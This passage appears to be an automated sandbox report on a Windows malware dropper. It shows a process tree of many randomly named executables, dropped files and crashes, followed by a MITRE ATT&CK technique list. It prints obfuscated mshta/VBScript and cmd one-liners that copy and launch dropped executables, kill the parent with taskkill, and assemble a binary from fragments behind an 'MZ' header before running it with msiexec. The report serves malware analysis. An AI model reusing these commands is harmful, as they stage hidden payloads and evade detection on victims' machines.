        "C:\Users\Admin\Pictures\Adobe Films\JRxI61fpo0ZQfLhLi6CUgoq3.exe"
        7⤵
        
        PID:4012
        
        C:\Users\Admin\Pictures\Adobe Films\w7yf21UqqNvJPFCCggjGhcyh.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\w7yf21UqqNvJPFCCggjGhcyh.exe"
        7⤵
        
        PID:2196
        
        C:\Users\Admin\Pictures\Adobe Films\E3vtKjE2P7mdqJy_5khbeSju.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\E3vtKjE2P7mdqJy_5khbeSju.exe"
        7⤵
        
        PID:3152
        
        C:\Users\Admin\Pictures\Adobe Films\XCC0oNWhnnJnJ5L5wJgJm2Fl.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\XCC0oNWhnnJnJ5L5wJgJm2Fl.exe"
        7⤵
        
        PID:3396
        
        C:\Users\Admin\Pictures\Adobe Films\5FY7s4pUdLRbZQQSDVKzcfjX.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\5FY7s4pUdLRbZQQSDVKzcfjX.exe"
        7⤵
        
        PID:3780
        
        C:\Users\Admin\Pictures\Adobe Films\QznaQlGCkgkDvylXYgLQ_tme.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\QznaQlGCkgkDvylXYgLQ_tme.exe"
        7⤵
        
        PID:4444
        
        C:\Users\Admin\Pictures\Adobe Films\qw3aNicOHEsxJ8W3fETs6D82.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\qw3aNicOHEsxJ8W3fETs6D82.exe"
        7⤵
        
        PID:1332
        
        C:\Users\Admin\Pictures\Adobe Films\csuphID3J_KRJjeH0Ny0Uig0.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\csuphID3J_KRJjeH0Ny0Uig0.exe"
        7⤵
        
        PID:2868
        
        C:\Users\Admin\Pictures\Adobe Films\LGGSAleYtUAp6v2mCtDZfJiF.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\LGGSAleYtUAp6v2mCtDZfJiF.exe"
        7⤵
        
        PID:6248
        
        C:\Users\Admin\Pictures\Adobe Films\Xa7FiKEqOTSKImttuYGjJQkg.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Xa7FiKEqOTSKImttuYGjJQkg.exe"
        7⤵
        
        PID:6312
        
        C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
        8⤵
        
        PID:6880
        
        C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe
        
        "C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"
        8⤵
        
        PID:7128
        
        C:\Users\Admin\Pictures\Adobe Films\QQ_KfPPMR1yLn6WKZWMAg9hk.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\QQ_KfPPMR1yLn6WKZWMAg9hk.exe"
        7⤵
        
        PID:6304
        
        C:\Users\Admin\Pictures\Adobe Films\iIFawnudlaKJBRwT_Y1kBHP7.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\iIFawnudlaKJBRwT_Y1kBHP7.exe"
        7⤵
        
        PID:6240
        
        C:\Users\Admin\Pictures\Adobe Films\MsftLnvJ_pdzrH2zqjlWZMe0.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\MsftLnvJ_pdzrH2zqjlWZMe0.exe"
        7⤵
        
        PID:6172
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6172 -s 336
        8⤵
        Program crash
        
        PID:6580
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue0121ab289cd9a.exe
        5⤵
        
        PID:4224
      - C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0121ab289cd9a.exe
        
        Tue0121ab289cd9a.exe
        6⤵
        Executes dropped EXE
        
        PID:4552
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1080 -s 652
        5⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:4408
- C:\Windows\SysWOW64\chkdsk.exe
  "C:\Windows\SysWOW64\chkdsk.exe"
  2⤵
  - Enumerates system info in registry
  PID:1456
- - C:\Windows\SysWOW64\cmd.exe
    /c del "C:\Users\Admin\Pictures\Adobe Films\cGRxPW4fmZTC8sVr_TJdyu1d.exe"
    3⤵
    PID:4948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1080 -ip 1080
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1488

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbscriPT: cLOsE( crEaTeoBjEct ( "wsCriPT.ShEll" ). ruN ( "cMD /Q /r copY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01e8898e0d1fce4.exe"" ..\GhXkKMW.EXe &&sTarT ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv & If """" == """" for %K in (""C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01e8898e0d1fce4.exe"") do taskkill /f /IM ""%~NXK"" ", 0, tRuE) )
1⤵
PID:2136
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /Q /r copY /Y "C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01e8898e0d1fce4.exe" ..\GhXkKMW.EXe &&sTarT ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv &If "" == "" for %K in ("C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01e8898e0d1fce4.exe") do taskkill /f /IM "%~NXK"
  2⤵
  PID:5592
- - C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe
    ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv
    3⤵
    - Executes dropped EXE
    PID:5912
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" vbscriPT: cLOsE( crEaTeoBjEct ( "wsCriPT.ShEll" ). ruN ( "cMD /Q /r copY /Y ""C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe"" ..\GhXkKMW.EXe &&sTarT ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv & If ""/pzztRb0w26vFPLWe3xRyQv "" == """" for %K in (""C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe"") do taskkill /f /IM ""%~NXK"" ", 0, tRuE) )
      4⤵
      PID:3008
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /r copY /Y "C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe" ..\GhXkKMW.EXe &&sTarT ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv &If "/pzztRb0w26vFPLWe3xRyQv " == "" for %K in ("C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe") do taskkill /f /IM "%~NXK"
        5⤵
        
        PID:4696
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" VBScrIPT: cLose (creATeoBjECt ( "WscriPT.shELL" ).ruN ( "cmD.Exe /c eCHo | SeT /p = ""MZ"" > CejRuqC.56S & copY /Y /b CEJRUqC.56S +D5S9N.M + HOdVbD.N + 6Gk1G.c4O + JN1iGT.j ..\32aZBXCS.EP& sTARt msiexec.exe -y ..\32AZBxCS.EP & del /Q * ", 0 , True ) )
      4⤵
      PID:5196
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c eCHo | SeT /p = "MZ" > CejRuqC.56S & copY /Y /b CEJRUqC.56S +D5S9N.M + HOdVbD.N+ 6Gk1G.c4O +JN1iGT.j ..\32aZBXCS.EP& sTARt msiexec.exe -y ..\32AZBxCS.EP &del /Q *
        5⤵
        
        PID:5528
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" eCHo "
        6⤵
        
        PID:3252
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>CejRuqC.56S"
        6⤵
        
        PID:6064
      - C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe -y ..\32AZBxCS.EP
        6⤵
        Loads dropped DLL
        
        PID:3004
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /IM "Tue01e8898e0d1fce4.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5188 -ip 5188
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5436

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4352 -ip 4352
1⤵
PID:3952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4588 -ip 4588
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1920

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 5044 -ip 5044
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 5128 -ip 5128
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 6128 -ip 6128
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5856

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 79ccf3c8e6599f4eab4ffe7feca2e384 jsiBwPJJWEKOfdQkcoKoKQ.0.1.0.3.0
1⤵
- Modifies data under HKEY_USERS
PID:4548

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 1096 -ip 1096
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3424

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2296

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 3952 -ip 3952
1⤵
PID:4784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5920 -ip 5920
1⤵
PID:5884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:2488

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:5568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:452

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5980

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 5984 -ip 5984
1⤵
PID:2744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:512

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4828 -ip 4828
1⤵
PID:2944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 1188 -ip 1188
1⤵
PID:4916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1356 -ip 1356
1⤵
PID:3924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 6172 -ip 6172
1⤵
PID:6328

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Discovery

Query Registry

System Information Discovery